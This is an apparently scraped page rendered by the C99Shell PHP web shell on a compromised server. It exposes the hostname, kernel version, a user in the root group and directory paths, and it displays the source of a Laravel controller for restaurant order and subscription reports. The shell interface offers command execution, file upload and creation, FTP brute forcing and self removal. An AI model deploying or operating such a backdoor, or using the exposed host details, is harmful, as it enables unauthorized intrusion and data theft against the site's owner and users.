!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/multirest.picotech.app/public_html/app/Http/Controllers/   drwxr-xr-x
Free 28.54 GB of 117.98 GB (24.19%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ReportController.php (2.69 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers;

use 
App\Models\Order;
use 
App\Models\Plan;
use 
App\Models\Restaurant;
use 
App\Models\User;
use 
App\Models\UserPlan;
use 
Carbon\Carbon;
use 
Illuminate\Http\Request;

class 
ReportController extends Controller
{
    public function 
index(Request $request)
    {
        
$auth=auth()->user();
        if(
$auth->type=='restaurant_owner'){
            
$restaurantIds=$auth->restaurants()->pluck('id');
            
$data['restaurants']=$auth->restaurants;
            
$orders=Order::select('id','name','restaurant_id','payment_status','total_price','created_at')->whereIn('restaurant_id',$restaurantIds)->where('payment_status','paid')->with('restaurant');
            if (
$request->from_to_dates) {
                
$from_to_dates explode('-'$request->from_to_dates);
                
$dates = [];
                foreach (
$from_to_dates as $date) {
                    
$dates[] = Carbon::parse(trim($date))->format('Y-m-d');
                }
                
$orders->whereBetween('created_at'$dates);
            }
            if (
$request->order_type && $request->order_type!='all') {
                
$orders->where('type'$request->order_type);
            }

            if (
$request->restaurant_id && $request->restaurant_id!='all') {
                
$orders->where('restaurant_id'$request->restaurant_id);
            }


            
$data['orders']=$orders->get();
            return 
view('reports.restaurant_owner_earning',$data);
        }

        
$data['customers'] = User::where('type''restaurant_owner')->select('id''email''name')->get();
        
$data['plans'] = Plan::where('id''!='1)->select('id''title''cost')->get();
        
$userPlan UserPlan::where('plan_id''!='1)->where('status''approved')->orderBy('created_at''desc');

        if (
$request->from_to_dates) {
            
$from_to_dates explode('-'$request->from_to_dates);
            
$dates = [];
            foreach (
$from_to_dates as $date) {
                
$dates[] = Carbon::parse(trim($date))->format('Y-m-d');
            }
            
$userPlan->whereBetween('created_at'$dates);
        }

        if (
$request->plan_id && $request->plan_id!='all') {
            
$userPlan->where('plan_id'$request->plan_id);
        }

        if (
$request->customer_id && $request->customer_id!='all') {
            
$userPlan->where('user_id'$request->customer_id);
        }


        
$data['userPlans'] = $userPlan->get();

        if(
$auth->type=='admin'){
            return 
view('reports.index'$data);
        }elseif (
$auth->type=='restaurant_owner'){
            return 
view('reports.restaurant_owner'$data);
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0039 ]--